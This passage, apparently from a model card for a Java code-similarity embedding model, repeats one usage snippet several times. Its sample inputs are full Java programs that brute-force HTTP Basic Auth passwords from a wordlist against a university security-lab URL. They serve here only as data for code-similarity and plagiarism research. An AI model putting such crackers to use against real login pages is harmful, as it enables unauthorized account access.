}\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    